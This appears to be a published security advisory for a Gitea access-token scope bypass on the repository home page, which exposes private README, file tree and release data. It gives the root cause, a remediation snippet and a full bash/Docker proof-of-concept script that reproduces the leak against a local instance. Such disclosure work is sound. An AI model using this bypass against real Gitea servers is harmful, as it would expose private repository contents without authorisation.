GHSA-CP3Q-VRJ2-GHHH
Vulnerability from github – Published: 2026-07-21 20:38 – Updated: 2026-07-21 20:38Summary
A personal access token (PAT) or OAuth2 token that does not carry the
repository scope or that is public-only is correctly rejected (HTTP 403)
by the recently hardened web content routes (archive download, raw/media file
download, and repository RSS/Atom feeds). However, the repository home page route
GET /{owner}/{repo} (handler repo.Home) serves the private repository's
rendered README, root file/directory tree, description, language statistics,
license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given
the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in with
webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries
AllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)
When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go
sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope
The patched sibling handlers all call the web-side scope guard
context.CheckRepoScopedToken(...), which enforces both the public-only
restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w
repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its
only gate is checkHomeCodeViewable, which verifies the user's permission and
that the code unit is enabled neither of which constrains the token's scope.
The README, file listing, and sidebar are then rendered. (The
handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo
view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to
the source commit above). A private repository admin/secretrepo is created, and
a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1
A second token with scope public-only,read:repository behaves identically:
/archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the
private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null
Impact
Any holder of a non-repository-scoped or public-only token belonging to a user
who has access to private repositories can read those repositories' README, root
file/directory listing, description, languages, license, and latest release
content the token was explicitly scoped to be unable to read. This defeats the
purpose of fine-grained and public-only tokens (for example a CI token granted
only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper
/{owner}/{repo}/src/* routes do not enable AllowBasic.
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home
(routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256,
add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}
It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that
render repository data for the same omission notably
actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a
private repository's workflow build status (pass/fail) to a token without the
repository scope (lower impact, possibly intended since badges are designed to
be embeddable, but worth confirming).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58444"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:38:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA personal access token (PAT) or OAuth2 token that does **not** carry the\n`repository` scope or that is **public-only** is correctly rejected (HTTP 403)\nby the recently hardened web content routes (archive download, raw/media file\ndownload, and repository RSS/Atom feeds). However, the repository home page route\n`GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository\u0027s\nrendered README, root file/directory tree, description, language statistics,\nlicense, and latest-release information to that same token.\n\nThis is a token-scope enforcement bypass and private-repository content\ndisclosure. It is the same source\u2192sink pattern already fixed for neighbouring\nroutes in:\n\n- **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download\n- **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds\n\n`repo.Home` is the remaining token-auth-enabled content route that was not given\nthe guard.\n\n### Details / Root cause\nWeb routes accept token authentication only when explicitly opted in with\n`webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries\n`AllowBasic` (added so that `go get` can resolve private modules):\n\n```go\n// routers/web/web.go:1256\nm.Get(\"/{username}/{reponame}\", optSignIn, webAuth.AllowBasic,\n context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),\n repo.SetEditorconfigIfExists, repo.Home)\n```\n\nWhen a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go`\nsets `IsApiToken = true` and records `ApiTokenScope`:\n\n```go\n// services/auth/basic.go\nstore.GetData()[\"IsApiToken\"] = true\nstore.GetData()[\"ApiTokenScope\"] = token.Scope\n```\n\nThe patched sibling handlers all call the web-side scope guard\n`context.CheckRepoScopedToken(...)`, which enforces both the public-only\nrestriction and the `repository` scope:\n\n```\nrouters/web/repo/download.go:23 (raw / media / archive) \u2190 GHSA-cr4g\nrouters/web/feed/render.go:15 (all repo feeds) \u2190 GHSA-3pww\nrouters/web/repo/attachment.go:190 (attachments / release assets, centralized)\nrouters/web/repo/githttp.go:161 (git smart HTTP) \u2190 GHSA-cc8w\n```\n\n`repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its\nonly gate is `checkHomeCodeViewable`, which verifies the **user\u0027s** permission and\nthat the code unit is enabled neither of which constrains the **token\u0027s** scope.\nThe README, file listing, and sidebar are then rendered. (The\n`handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo\nview is not.)\n\n### Proof of Concept\nReproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to\nthe source commit above). A private repository `admin/secretrepo` is created, and\na token is minted with **only** the `read:user` scope (no `repository` scope).\n\n```\n=== anonymous baseline (repository is private) ===\n anon GET /admin/secretrepo HTTP=404\n=== same no-repo-scope token across routes ===\n API repo get (proves token lacks repo scope) HTTP=403 canary=0\n /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0\n /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0\n /admin/secretrepo.rss (control) HTTP=403 canary=0\n /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1\n```\n\nA second token with scope `public-only,read:repository` behaves identically:\n`/archive` \u2192 403, but `/admin/secretrepo` \u2192 200 and returns the private content.\n\n`canary=1` means the private README marker was returned in the HTML response; the\nprivate file name `SECRET.md` is also disclosed in the rendered file tree.\n\nFull self-contained reproducer (Docker, prints a PASS/FAIL verdict):\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nN=gitea-poc; PW=\u0027Adm1n!pass99\u0027; CANARY=\u0027TOP-SECRET-CANARY-9F3A2\u0027\ndocker rm -f $N \u003e/dev/null 2\u003e\u00261 || true\ndocker run -d --name $N \\\n -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \\\n -e GITEA__server__ROOT_URL=http://localhost:3000/ \\\n -e GITEA__service__DISABLE_REGISTRATION=true \\\n -p 3000:3000 gitea/gitea:main-nightly \u003e/dev/null\nfor i in $(seq 1 40); do\n [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/api/healthz)\" = 200 ] \u0026\u0026 break; sleep 2; done\ndocker exec -u git $N gitea admin user create --admin --username admin \\\n --password \"$PW\" --email admin@example.com --must-change-password=false \u003e/dev/null\ncurl -s -u admin:\"$PW\" -X POST http://localhost:3000/api/v1/user/repos \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"secretrepo\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}\u0027 \u003e/dev/null\nSHA=$(curl -s -u admin:\"$PW\" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027sha\u0027])\")\ncurl -s -u admin:\"$PW\" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"content\":\"\u0027\"$(printf \u0027# %s\\nprivate\u0027 \"$CANARY\" | base64)\"\u0027\",\"message\":\"u\",\"sha\":\"\u0027\"$SHA\"\u0027\",\"branch\":\"main\"}\u0027 \u003e/dev/null\nTOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \\\n --scopes read:user --token-name norepo --raw | tail -1)\necho \"anon : $(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/admin/secretrepo)\"\nfor p in \"archive/main.zip\" \"raw/branch/main/README.md\" \".rss\" \"\"; do\n o=$(curl -s -u admin:\"$TOK\" -w \u0027|%{http_code}\u0027 \"http://localhost:3000/admin/secretrepo${p:+/}$p\")\n echo \"/$p -\u003e ${o##*|} canary=$(printf \u0027%s\u0027 \"$o\" | grep -c \"$CANARY\" || true)\"\ndone\necho \"PASS if controls=403/404 and repo.Home (last line)=200 canary=1\"\ndocker rm -f $N \u003e/dev/null\n```\n\n### Impact\nAny holder of a non-`repository`-scoped or public-only token belonging to a user\nwho has access to private repositories can read those repositories\u0027 README, root\nfile/directory listing, description, languages, license, and latest release\ncontent the token was explicitly scoped to be unable to read. This defeats the\npurpose of fine-grained and public-only tokens (for example a CI token granted\nonly `read:issue`, or a `public-only` token issued to a third-party integration).\n\nThe disclosure is bounded to the repository root view because the deeper\n`/{owner}/{repo}/src/*` routes do not enable `AllowBasic`.\n\n### Suggested remediation\nMirror the sibling handlers: at the start of `repo.Home`\n(`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`,\nadd:\n\n```go\ncontext.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)\nif ctx.Written() {\n return\n}\n```\n\nIt is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that\nrender repository data for the same omission notably\n`actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a\nprivate repository\u0027s workflow build status (pass/fail) to a token without the\n`repository` scope (lower impact, possibly intended since badges are designed to\nbe embeddable, but worth confirming).",
"id": "GHSA-cp3q-vrj2-ghhh",
"modified": "2026-07-21T20:38:31Z",
"published": "2026-07-21T20:38:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhh"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.